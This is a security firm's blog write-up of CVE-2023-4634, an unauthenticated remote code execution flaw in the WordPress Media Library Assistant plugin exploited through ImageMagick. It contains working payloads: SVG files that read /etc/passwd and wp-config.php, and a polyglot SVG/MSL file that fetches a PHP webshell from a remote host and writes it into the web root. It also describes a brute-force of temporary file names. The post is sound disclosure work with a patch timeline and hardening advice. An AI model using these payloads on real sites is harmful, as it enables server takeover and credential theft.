Blog: CVE-2023-4634 - Tricky Unauthenticated RCE on Wordpress Media Library Assistant Plugin using a good old Imagick

Author: Florent
Published on

Patrowl's blog - CVE-2023-4634

As discussed in many of our articles, you already know that WordPress and related plugins are taking up a large space in the global attack surface we are monitoring for our customers.

Discovering always new methods and techniques to exploit potential flaws on these technologies allows us to be pro-active and try to maintain an advantage over potential attackers.

The vulnerability described below is a perfect example of that proactivity: we promptly alerted all our customers who were using the vulnerable plugins, even before the fix for the vulnerability became available (in most cases, our clients either disabled the plugin or implemented a custom fix provided by us).

When You’re Lost in the Web

The first alert that raised our automatization was a confirmed Local File Inclusion (LFI) in a WordPress plugin called “Media Library Assistant” : https://www.cvedetails.com/cve/CVE-2020-11732/, the plugin has more than 70k active installation, not a bestseller but still interesting from an attacker perspective (to build a botnet, deploy ransomware...): https://fr.wordpress.org/plugins/media-library-assistant/

Patrowl's blog - CVE-2023-4634

The plugin was indeed vulnerable regarding the version, but our automation was unable to go further (it has now been improved 😁).

In reality, Local File Inclusion vulnerabilities in WordPress are typically valuable for accessing critical files like wp-config.php. However, in the case of this specific vulnerability, it only works with an absolute path (as noted in the packetstorm exploit).

There is a file inclusion vulnerability in the mla-file-downloader.php file. Example:

http://server/wordpress/wp-content/plugins/media-library-assistant/includes/mla-file-downloader.php?mla_download_type=text/html&mla_download_file=C:\Bitnami\wordpress-5.3.2-2\apps\wordpress\htdocs\wp-content\plugins\updraftplus\options.php

Patrowl automatization did not managed to identify a full path disclosure vulnerability elsewhere on the website, and all classic bruteforced path did not work.

This the moment chooses by our automatization to request a more in-depth investigation from a pentester.

Patrowl's blog - CVE-2023-4634

The process is classic, and if you already read one of our articles, you likely familiar with the procedure: setting up a lab environment with the latest plugin version installed. Originally, the plan was to identify in the plugin, a method that could trigger a full path disclosure and help the machine to go deeper in the exploitation. But we found a much more interesting and challenging vulnerability, bringing back old memories.

Left Behind

The initial discovery (CVE-2020-11732) was targeting the mla-file-downloader.php file locate in the includes folder of the plugin directory. A small stand-alone file now patched since a long time:

<?php
/**
 * Stand-alone file download handler for the [mla_gallery]
 *
 * @package Media Library Assistant
 * @since 2.32
 */

/*
 * Process [mla_gallery link=download] requests
 */
//@ini_set('error_log','C:\Program Files (x86)\Apache Software Foundation\Apache24\logs\php-errors.log');

require_once( pathinfo( __FILE__, PATHINFO_DIRNAME ) . '/class-mla-file-downloader.php' );

MLAFileDownloader::mla_process_download_file( array( 'error' => 'MLA File Downloader no longer supported because it allowed Local File Disclosure attacks.' ) );

// NO LONGER ALLOWED AS OF v2.82
if ( isset( $_REQUEST['mla_download_file'] ) && isset( $_REQUEST['mla_download_type'] ) ) {
    MLAFileDownloader::$mla_debug = isset( $_REQUEST['mla_debug'] ) && 'log' == $_REQUEST['mla_debug'];
    MLAFileDownloader::mla_process_download_file();
}

MLAFileDownloader::mla_die( 'MLA File Download parameters not set', __LINE__, 500 );
?>

The direct access to mla-file-downloader.php is now not allowed anymore. The first require_once is indeed now pointing to a file (class-mla-file-downloader.php) including the magic WordPress condition:

defined( 'ABSPATH' ) or die();

The condition disallows direct access to WordPress PHP files. So whatever we will do, the die() will systematically be called when reaching the mla-file-downloader directly. We had to look elsewhere.

The Stand-alone reference in the comment is quite interesting. Normally, stand-alone files are created to be reached directly, and with a little bit of luck, unauthenticated.

grep -ri "Stand-Alone" --include \*.php
./includes/mla-file-downloader.php: * Stand-alone file download handler for the [mla_gallery]
./includes/mla-stream-image.php: * Stand-alone stream image handler for the mla_viewer
./includes/class-mla-shortcode-support.php:                      * found by the stand-alone (no WordPress) image stream processor.
./examples/plugins/smart-media-categories/admin/includes/class-smc-automatic-support.php:               // Check for stand-alone terms update, i.e., not part of an insert/update post event

The second one seems juicy: mla-stream-image.php, let’s have a look.

Infected

The file has the same structure as the first one and is very easy to understand:

<?php
/**
 * Stand-alone stream image handler for the mla_viewer
 *
 * @package Media Library Assistant
 * @since 2.10
 */

/*
 * Process mla_viewer image stream requests
 */
//@ini_set('error_log','C:\Program Files\Apache Software Foundation\Apache24\logs\php-errors.log');

require_once( pathinfo( __FILE__, PATHINFO_DIRNAME ) . '/class-mla-image-processor.php' );

if ( isset( $_REQUEST['mla_stream_file'] ) ) {
    MLAImageProcessor::$mla_debug = isset( $_REQUEST['mla_debug'] ) && 'log' == $_REQUEST['mla_debug'];
    MLAImageProcessor::mla_process_stream_image();
}

MLAImageProcessor::_mla_die( 'mla_stream_file not set', __LINE__, 500 );
?>

But this time, the class-mla-image-processor.php is not protected from direct access: Patrowl's blog - CVE-2023-4634

Which indicates that we could reach the function MLAImageProcessor::mla_process_stream_image() with an unauthenticated controlled parameter : $_REQUEST['mla_stream_file']Patrowl's blog - CVE-2023-4634

The mla_process_stream_image is aptly named; it is used to generate thumbnails for local PDF. The function then first check if the file exists locally:

$
file = isset( $_REQUEST['mla_stream_file'] ) ? $_REQUEST['mla_stream_file'] : ''; // phpcs:ignore
if ( ! is_file( $file ) ) {
self::_mla_die( 'File not found', __LINE__, 404 );
}

If the file exists, it is then passed to the _ghostscript_convert function.

Other parameters used for conversion are also within the user's control. But all of them are strongly typed to int or even rewrite, which does not give us a large flexibility in our exploitation path:

$use_mutex = isset( $_REQUEST['mla_single_thread'] );
$width = isset( $_REQUEST['mla_stream_width'] ) ? abs( (int) $_REQUEST['mla_stream_width'] ) : 0;
$height = isset( $_REQUEST['mla_stream_height'] ) ? abs( (int) $_REQUEST['mla_stream_height'] ) : 0;
$type = isset( $_REQUEST['mla_stream_type'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['mla_stream_type'] ) ) : 'image/webp';
$quality = isset( $_REQUEST['mla_stream_quality'] ) ? abs( (int) $_REQUEST['mla_stream_quality'] ) : 0;
$frame = isset( $_REQUEST['mla_stream_frame'] ) ? abs( (int) $_REQUEST['mla_stream_frame'] ) : 0;
$resolution = isset( $_REQUEST['mla_stream_resolution'] ) ? abs( (int) $_REQUEST['mla_stream_resolution'] ) : 72;

$ghostscript_path = isset( $_REQUEST['mla_ghostscript_path'] ) ? $_REQUEST['mla_ghostscript_path'] : ''; // phpcs:ignore
if ( ! empty( $ghostscript_path ) ) {
        $ghostscript_path = @file_get_contents( dirname( __FILE__ ) . '/' . 'mla-ghostscript-path.txt' );


$result = self::_ghostscript_convert( $file, $frame, $resolution, $type, $ghostscript_path );

The _ ghostscript_convert function is a little bit complicated and we did not find any exploitation path from here. It basically searches for the ghostscript executable and execute the appropriate “gs” command line, but with appropriate protection:

$cmd = escapeshellarg( $ghostscript_path ) . ' -sDEVICE=%1$s -r%2$dx%2$d -dFirstPage=%3$d -dLastPage=%3$d -dFitPage -o %4$s %5$s 2>&1';

If it succeeded, we get then a webp file (type set by default and cannot be changed) of our controlled path.

If the ghostscript_convert fail, a backup plan is used with Imagick() library:

$result = self::_ghostscript_convert( $file, $frame, $resolution, $type, $ghostscript_path );

if ( false === $result ) {
try {
self::$image->readImage( $file . '[' . $frame . ']' );
}
catch ( Exception $e ) {
self::$image->readImage( $file . '[0]' );
 }

So, from that, we managed to generate webp extract of PDF or image files located somewhere in the WordPress, ex: Patrowl's blog - CVE-2023-4634 and... Patrowl's blog - CVE-2023-4634

Alright, that's interesting but clearly unexploitable. It might enable us to potentially access specific PDFs stored outside the WordPress Web Directory, but this would require knowing the exact paths to those PDFs (whether absolute or relative), To make it work, you'd have to combine it with another exploit.

Every other format (PHP) will raise an error as the format is not understood either by ghostccript and Imagick. The conversion will then not work, here is an extract of logs when we try to convert a PHP file to webp.

wordpress-local-wordpress-1  | [Fri Aug 25 14:49:36.458816 2023] [php:notice] [pid 32] [client 172.19.0.1:58574] 297 _mla_die( 'Image load exception: no decode delegate for this image format `PHP' @ error/constitute.c/ReadImage/575', '537', '404' )

As we hate fake unexploitable CVE, and as we love to say in French at Patrowl, let’s “Faire des efforts” (Make serious efforts).

Look for the Imagick

Clearly, since the beginning, our secret goal is to reach the Imagick() function with a controlled file. We all know since a long that a misconfigured Imagick library is a goldmine for attackers, and you can find numerous very interesting papers or write-up exploiting the library (see References). But, to do so, we need to have the is_file() used at the beginning of the function to return True. The first scenario would be to have a file upload functionality on the WordPress (maybe another plugin), find the uploaded path and use the local controlled file to play with Imagick library.

But no sign of file upload functionality for our WordPress, we had to find another way.

Our immediate though has been to use https:// or http:// remote protocol on the is_file() function but with no luck. Looking the documentation, we have a great “tip” given by PHP: https://www.php.net/manual/en/function.is-file.phpPatrowl's blog - CVE-2023-4634

is_file is then working with all wrapper supporting the stat() family of functionality. http:// and https://, indeed, do not support stat() functionality.

But hello kiddo: Patrowl's blog - CVE-2023-4634

Quick local check, putting an existing arbitrary file on an open FTP server:

root@141e013356ca:/var/www/html# php -r "echo(is_file('ftp://X.X.X.X.:2122/test_is_file.txt'));"
1

In our remote server:

[I 2023-08-25 15:19:23] X.X.X.X:52806-[anonymous] USER 'anonymous' logged in.
[I 2023-08-25 15:19:23] X.X.X.X:52806-[anonymous] CWD /root/test_ftp/test_is_file.txt 550 'Not a directory.'
[I 2023-08-25 15:19:23] X.X.X.X:52806-[anonymous] FTP session closed (disconnect).

Awesome! Now we can use a remote file within the ghostcript or Imagick() function. The second one is of course much more interesting. Testing with a valid remote controlled FTP hosted image on the plugin gives us:

http://127.0.0.1/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://X.X.X.X:2122/test_is_file.txt&mla_debug=log

[I 2023-08-25 15:24:42] X.X.X.X.48:52847-[anonymous] FTP session closed (disconnect).
[I 2023-08-25 15:24:42] X.X.X.X:52849-[Patrowl] FTP session opened (connect)
[I 2023-08-25 15:24:42] X.X.X.X:52849-[anonymous] USER 'anonymous' logged in.
[I 2023-08-25 15:24:42] X.X.X.X:52849-[anonymous] RETR /root/test_ftp/test_is_file.txt[0] completed=1 bytes=0 seconds=0.0
[I 2023-08-25 15:24:42] X.X.X.X:52849-[anonymous] FTP session closed (disconnect).

Bingo, we have the connection from our Wordpress to our FTP. The file asked is test_is_file.txt[0]. This is good sign as the [0] typically indicates the frame to be converted by Imagick.

Quick look on the logs, we see that the ghoscript function will systematically fail when used with an ftp:// filename as input.

We then have what we were looking for: an external controlled image converted by the Imagick() library. We just have to setup 2 files on our ftp server:

  • malicious_file.webp that could be empty, just to bypass the is_file() check,
  • malicious_file.webp[0] which will be converted by Imagick.

Let’s have some fun. Patrowl's blog - CVE-2023-4634

Endure and Survive

Now, let’s play a little with Imagick library. First, to clarify our speech, Imagick is the PHP library of ImageMagick software. Exploitation path on both software and PHP library are globally the same as the PHP library will use exported C Function of the Software.

Our previous exploits and all existing technical exploitation papers all point to a common conclusion: ImageMagick is an excellent tool for image rendering, but it must be configured with rigorous security policies. Developers of Imagick have had to patch numerous CVEs across thousands of plugins, and they are now quite clear about their stance on vulnerabilities:

“Before you post a vulnerability, first determine if the vulnerability can be mitigated by the security policy. ImageMagick, by default, is open. Use the security policy to add constraints to meet the requirements of your local security governance. »

Now, this becomes intriguing for us. Why? Well, consider this: out of the 70,000 plugins installed, how many developers or system operators are aware that one of their plugins is utilizing Imagick (the PHP library for ImageMagick) with a default open security policy?

A basic installation of the plugins (with Imagick libraries installed on the server) came with this default security policy:

<policymap>
  <policy domain="resource" name="memory" value="256MiB"/>
  <policy domain="resource" name="map" value="512MiB"/>
  <policy domain="resource" name="width" value="16KP"/>
  <policy domain="resource" name="height" value="16KP"/>
  <policy domain="resource" name="area" value="128MP"/>
  <policy domain="resource" name="disk" value="1GiB"/>
  <policy domain="delegate" rights="none" pattern="URL" />
  <policy domain="delegate" rights="none" pattern="HTTPS" />
  <policy domain="delegate" rights="none" pattern="HTTP" />
  <policy domain="path" rights="none" pattern="@*"/>
  <policy domain="coder" rights="none" pattern="PS" />
  <policy domain="coder" rights="none" pattern="PS2" />
  <policy domain="coder" rights="none" pattern="PS3" />
  <policy domain="coder" rights="none" pattern="EPS" />
  <policy domain="coder" rights="none" pattern="PDF" />
  <policy domain="coder" rights="none" pattern="XPS" />
</policymap>

We can see that some “dangerous” formats are disabled by default like PS or XPS. We could think HTTPs and HTTP patterns are also not allowed by default, but the policy seems to be just here to force Curl internal usage and using http external resource on Imagick() conversion works like a charm with this config.

Now we know that on every instance with the plugins effectively working with a default Imagick configuration, we will be able to use external SVG. Why SVG? let's explore how ImageMagick functions a bit more.

Please hold to my SVG

All ImageMagick exploits work basically the same. The idea is to force Imagick to use its own internal scripting format called MSL. The MSL format allows to move or create file within the file server.

We can for example, move a remote PHP webshell file within the WordPress directory, where virus.webp just a polyglot webp file with PHP in it.

<image>
  <read filename="http://x.x.x.x/8081/virus.webp" />
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="/var/www/html/exploit.php" />
</image>

But triggering Imagick MSL parsing is not that easy anymore. When using the PHP Imagick library on images, a first called is made to the identity function. Identify will read the image, search for Magic Byte or specific string within the file. The result of the function will then be used as Imagick Parser.

But since Imagetragick, parser will explicitly not recognize dangerous scripting file such as MSL, when you try to parse a MSL file, Imagick will either considered it as SVG or say the format is not recognized.

root@141e013356ca:/var/www/html# php -r '$test = new Imagick("/var/www/html/test.msl");'
Fatal error: Uncaught ImagickException: no decode delegate for this image format `' @ error/constitute.c/ReadImage/575 in Command line code:1

The only way to get MSL understood by Imagick is to specify the file format before the file using what we will call a formatter:

root@141e013356ca:/var/www/html# php -r '$test = new Imagick("msl:/var/www/html/test.msl");'
Aborded

In our exploit, the controlled path will failed the is_file() check if we force the msl: formatter within our filename, we have to find another way. SVG came quickly to our minds. SVG is built to use external files and references. When the Imagick default SVG parser is used, the file is converted in MVG format (Magick Vector Graphics Metafiles). image tags with specific inner tags such as xlink:href or path are transformed into the MVG instruction:

image Over %g,%g %g,%g \"%s\"\n »

https://github.com/ImageMagick/ImageMagick/blob/main/coders/svg.c

From here:

      if (LocaleCompare((const char *) name,"image") == 0)
        {
          (void) FormatLocaleFile(svg_info->file,
            "image Over %g,%g %g,%g \"%s\"\n",svg_info->bounds.x,
            svg_info->bounds.y,svg_info->bounds.width,svg_info->bounds.height,
            svg_info->url);
          (void) FormatLocaleFile(svg_info->file,"pop graphic-context\n");
          break;
        }

Then, the MVG parsing (https://github.com/ImageMagick/ImageMagick/blob/main/coders/mvg.c- /) wil finally call the DrawImage() function : https://github.com/ImageMagick/ImageMagick/blob/main/MagickCore/draw.c#L4512

Which will integrate the image MVG in our new image using the ImageMagick compose function:

if (LocaleCompare("image",keyword) == 0)
          {
            ssize_t
              compose;

            primitive_type=ImagePrimitive;
            (void) GetNextToken(q,&q,extent,token);
            compose=ParseCommandOption(MagickComposeOptions,MagickFalse,token);
            if (compose == -1)
              {
                status=MagickFalse;
                break;
              }
            graphic_context[n]->compose=(CompositeOperator) compose;

Compose is a specific command from ImageMagick, it allows to combine multiple images, the “Over” parameter used in the SVG parser is just one of the dozen options available for composite ImageMagick https://imagemagick.org/Usage/compose/#over

The usage of composite function is then crucial to understand the exploitation. As it used for overlaying or combining multiple images, the function needs to understand specific ImageMagick commands.

Example, if you want to Over a specific text on image you can simply use composite with text:/path/to/text.txt and Imagemagick will automatically Over the text on your first image.

$composite patrowl.webp text:./patrowl.txt patrowl_over.webp

Will add the text of patrowl.txt on the patrowl.webp image.

Now, with a simple SVG, we can control defined ImageMagick formatters, such as MSL, but also all other formatters enabled by default.

When we are in Need

The first analyses quickly lead us to a smooth LFI. The plugin directly returns the output of Imagick convert function as an http response:

        // Stream the image back to the requestor
        try {
            header( "Content-Type: $type" );
            echo self::$image->getImageBlob();

Then, by using a SVG with a text: formatter in it, we can create a blank image on which we will Over as a result the content of the file we want on the file server, we just need to adjust the width and heigh so that we can have something we can read:

Lfi.sfg[0] on remote FTP server:

<svg width="500" height="500"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href= "text:/etc/passwd" width="500" height="500" />
</svg>

Exploitation:

http://127.0.0.1/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://X.X.X.X:2122/lfi.svg&mla_debug=log&mla_stream_height=500&mla_stream_width=600

Patrowl's blog - CVE-2023-4634

Now, we have a nice LFI, from here we can reach and print all WordPress PHP file we want, as the plugin will always be installed in the same directory, the relative path will always be the same.

We just need to adjust the page we want by setting the mla_stream_frame to 1 (and don’t forget to have the related lfi.svg\[1\] on the remote FTP).

Lfi.svg[1]:

<svg width="500" height="500"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href= "text:../../../../wp-config.php" width="500" height="500" />
</svg>

Patrowl's blog - CVE-2023-4634

Great, now we can potentially takeover the WordPress (depending on the configuration). But we are so closed to an RCE, we cannot stop here.

Long, Long Time

To achieve our RCE, we now need a MSL file on the fileserver. Indeed, the msl: formatter does not accept remote file (msl://http://x.x.x.x will never work).

The technic used by Synacktiv in their article is using PDF conversion with embed PostScript to write the MSL file within the /tmp folder. Unfortunately, it will not work here since this format are disabled by default on our instance.

After spending hours playing with different format and trying to find one that could create a MSL file within a controlled directory, we discovered during all our tests that hundreds of files have been created in our docker instance within the /tmp folder with the nomenclature: /tmp/magick-* Patrowl's blog - CVE-2023-4634

Many of them were the MVG converted file from our SVG payloads, but also, the first SVG payload download from our FTP server.

The fact that some files are not deleted by the Imagick process within the /tmp folder still a mystery. We have few clues on self-calling SVG file that could cause segfault and the file not to be deleted: https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-j96m-mjp6-99xr

But not exploitable in our configuration as the file came from an external source, it cannot be self-calling. Taking a closer look, we discovered that for each SVG converted, we have 3 files created in /tmp folder, all using magick-XXX nomenclature (where XXX is a 32-char random string):

  • One 0byte file
  • One file is the SVG we are converting
  • One file is the MVG transition format from Imagick

Note that the location of the /tmp folder used by Imagick could be configured within the policy.xml file. But now that you have LFI, you can quickly spot it if it has been changed.

Then, once the conversion is finished, the 0byte files is not deleted (it will be annoying later you will see) but 2 others are.

Our exploitation idea is then to use 2 files:

  • One that will trigger the copy of the file within the /tmp folder during the conversion with MSL scripts in it
  • The other, a SVG file, that includes a xlink reference with a msl: forced formatter pointing to the first file created in the /tmp folder.

The idea is good (of course), but requires multiple bypass:

  1. To trigger the creation of the temporary file in the /tmp folder, the initial file needs to be a valid format (MSL or Text is not a valid or recognized format).
  2. The file is instantly deleted after each conversion
  3. The file created use a random name and could not be bruteforced or guessed.

The first problem had been quickly solved using a polyglot SVG/MSL with https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html technics.

Then, we were able to trigger the creation of a file in the /tmp/ folder that is valid SVG but also that will be understood ad MSL using the good formatter. Example of polyglot valid file (we will deal with SVG part later).

<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="http://X.X.X.X:8081/virus.webp" />
  <resize geometry="400x400" />
  <write filename="/var/www/html/exploit.php" />
  <get width="base-width" height="base-height" />
    <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
        <image xlink:href= text:/etc/passwd height="100" width="100"/>
</svg>
</image>

The order of tags is important, the XML declaration needs to be at the beginning to allow the identity function to return SVG. The image tags just after and then, the SVG part needs to be inside the image tags, or it will not work.

Then, our file is both understood by msl and svg parser:

root@141e013356ca:/var/www/html# ls exploit.php
ls: cannot access 'exploit.php': No such file or directory
root@141e013356ca:/var/www/html# convert poly.svg test.webp
root@141e013356ca:/var/www/html# ls exploit.php
ls: cannot access 'exploit.php': No such file or directory
root@141e013356ca:/var/www/html# convert msl:poly.svg test.webp
Aborted
root@141e013356ca:/var/www/html# ls exploit.php -lah
-rw-r--r-- 1 root root 14K Aug 28 16:17 exploit.php

The second problem of the file to be deleted after conversion could be resolved in multiple way:

  • Generate a very large SVG file that will take long time to be generated, but with high risk of crashing the process and potentially the server, so we did not choose this way
  • Host a very fake large external image (>20Go) called by the SVG. Depending on the network latency, it could take a long time to download (you can host resources in a foreign and distant country to increase the latency), but same problem: dealing with large resource could also provoke unwanted behavior and potential crashes
  • The last (and the best), use a non-routed IP. By default, Imagick and PHP have a high timeout (1min), letting you enough time to reach the file before its deletion. It could depend on the PHP configuration so you can use previous method in case the safer is not working.

Example of long SVG conversion:

<?xml version="1.0" encoding="UTF-8"?>
    <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <image xlink:href="http://192.192.192.23:1664/neverExist.svg" height="100" width="100"/>
</svg>
root@141e013356ca:/var/www/html# time php -r '$test = new Imagick("long.svg");'
real    1m0.257s
user    0m0.058s
sys 0m0.114s

Then our final Polyglot file SVG file will look like this:

<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="http://x.x.x.x:8081/virus.webp" />
  <resize geometry="400x400" />
  <write filename="/var/www/html/exploit.php" />
  <get width="base-width" height="base-height" />
    <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <image xlink:href="http://192.192.192.23:1664/neverExist.svg" height="100" width="100"/>
</svg>
</image>

Now, we have our a polyglot SVG/MSL file dropped in /tmp folder for one minute. Last problem (but not least clearly) how to include it using our second SVG? In 1 minute, we cannot bruteforce the 32-char string name.

Here we discover the power of the VID format with this great article about exploitation of another Software using Imagick: https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/.

The VID is everything we hoped for, as explained in the article, the VID formatter is using ExandFilenames() function on input parameters, which allows usage of wildcard within a folder (https://github.com/ImageMagick/ImageMagick/blob/main/MagickCore/utility.c#L748)!

Playing just a little with the format, we quickly understood how powerful it was:

  • It is enabled by default
  • You can now include specific files without knowing the exact name, the format is quite flexible
  • And most of all, in ImageMagick, all formatters could be chained! Patrowl's blog - CVE-2023-4634

You can now use vid formatter with multiple combination.

A double text: formatter to have full directory listing within a directory: SVG File:

<svg width="1000" height="700"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="text:vid:text:/var/www/html/*.php"  width="500" />
</svg>

Patrowl's blog - CVE-2023-4634

Nice !

Now you see where we are going, VID could also be chained with our dear MSL: text:vid:msl:/tmp/magick-*

The order is important, the text formatter needs always to be used in first in SVG xlink tags; then the VID allowing the Call of ExpandFileName then the MSL.

Now we are able to launch MSL parsing on all /tmp/magick-* file ! the only issue?

If one of the files raise an error, the process will stop, and we will have a 500 Error.

And as you probably remember, we have our old messy 0bytes file that are never deleted within the /tmp folder. The ExpandFileName is sorting file names in alphabetical order, so if we have one 0byte file that has been generated with for instance a 0 or an A, we are doomed, the first file will always raise the error and other file will not be considered. Patrowl's blog - CVE-2023-4634

We must be then more specific.

We know reading the source code that each random filename in /tmp/magick is using 32 random chars selected from the following list:

  static const char
    portable_filename[65] =
      "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-";

https://github.com/ImageMagick/ImageMagick/blob/main/MagickCore/resource.c

Then, we can only bruteforce the 65 chars as first characters, using 65 different SVG files, each of them containing a first letter to bruteforce: exploiter_A.svg containing text:vid:msl:/tmp/magick-A*, exploiter_B.svg containitng text:vid:msl:/tmp/magick-B* ...

With that, we will, with a high level of confidence, find the so wanted SVG/MSL uploaded file without reaching a blank temporary file or another MVG file.

To increase our chances, lets launch the generation of hundred “long SVG” so that we will be sure one of the bruteforce will work (only one is needed) without any nasty 0byte file before that.

Even if the target has already many non-deleted /tmp/magick file, we will for sure, at one moment, find one that will work using that technic.

Bomb this City and Everyone in It

Now we have all in our hand, we can set up the exploit and the bruteforcer.

All is explained and scripted here: https://github.com/Patrowl/CVE-2023-4634/ The final path of the exploit is then:

  • Launch x100 long SVG/MSL polyglot file conversion that will trigger creation of x100 SVG/MSL file in /tmp folder
  • Use SVG with VID formatter using wildcard to bruteforce on of the 100 hundred SVG/MSL filename in /tmp folder with only 65 requests.
  • Baboum

We also create a Nuclei template to detect the exploitability (not just the plugin version): https://github.com/Patrowl/CVE-2023-4634/blob/master/CVE-2023-4634.yaml

SVGs Means Trouble

This exploitation was for us quite interesting to perform, as it highlights the dangerousness of external libraries that could be used in WordPress Plugins. Not sure WordPress administrator has a clean view of the configuration of each external library used, especially of Imagick that came directly installed with a “basic” instance of Wordpress. Patrowl's blog - CVE-2023-4634

As explained in the article, the position of Imagemagick teams is clear and they are quite reactive on security subject. We warned them about the dangerousness of SVG Parsing, and default allowing of SVG, but their response was what we expected:

*While it's possible to defend against certain vulnerabilities, such as the use of SVG's xlink, through a definition mechanism, it's not a robust security approach. For instance, xlink would remain inactive by default unless a specific definition is specified. Yet, this strategy proves inadequate as it's akin to a temporary solution, and we would be continuously reacting to emerging vulnerabilities until the next one emerges. The security policy was designed specifically to address potentially unknown exploits. If a new exploit is discovered, the user is protected by invoking the appropriate security policy. The result is immediate protection against the exploit without the need to update the binary distribution.

Security is a compromise between security and convenience. The open nature of ImageMagick allows any user to exploit all the features of the package in a secure environment such as Docker, yet the security policy allows an administrator to selectively lock out features per their local context in a more open environment such as a public web site. For any public web site, we recommend these coders: MSL, MSVG, MVG, PS, PDF, RSVG, SVG, XPS, be disabled in the security policy.

To be clear, if you are a WordPress administrator, you must reinforce your default security Imagick policies located in /etc/ImageMagick-X/policy.xml, to disallow MSL, MSVG, MVG, PS, PDF, RSVG, SVG, XPS (especially SVG not disable by default which is for us one of the dangerous one). Even if you think that your WordPress does not use this library.

Regarding the plugin itself, special thanks to David Lingren which has been quite reactive for the fix (3.10 version).

Finally, all Patrowl customers using this plugin were warned. The plugins have been disabled during the time of patching, and then re-enabled the plugin when 3.10 has been released with the correction. Some of them even restrict Imagick libraries to be sure.

Timeline:

  • Vulnerability discovered: 07/26/2023
  • Working POC: 07/29/2023
  • Patrowl report to Wordpress Plugins Security teams: 08/08/2023
  • Patrowl Direct report to plugins creator: 08/16/2023
  • Wordpress security team report to Plugin creator: 08/17/2023
  • Acknowledgement and patching from Plugin creator: 08/18/2023
  • Official Patch released: 08/21/2023 (3.10)
  • Vulnerability sent for CVE to WordFense: 08/29/2023
  • CVE-2023-4634 reserved 08/30/2023
  • Publication 09/06/2023

References: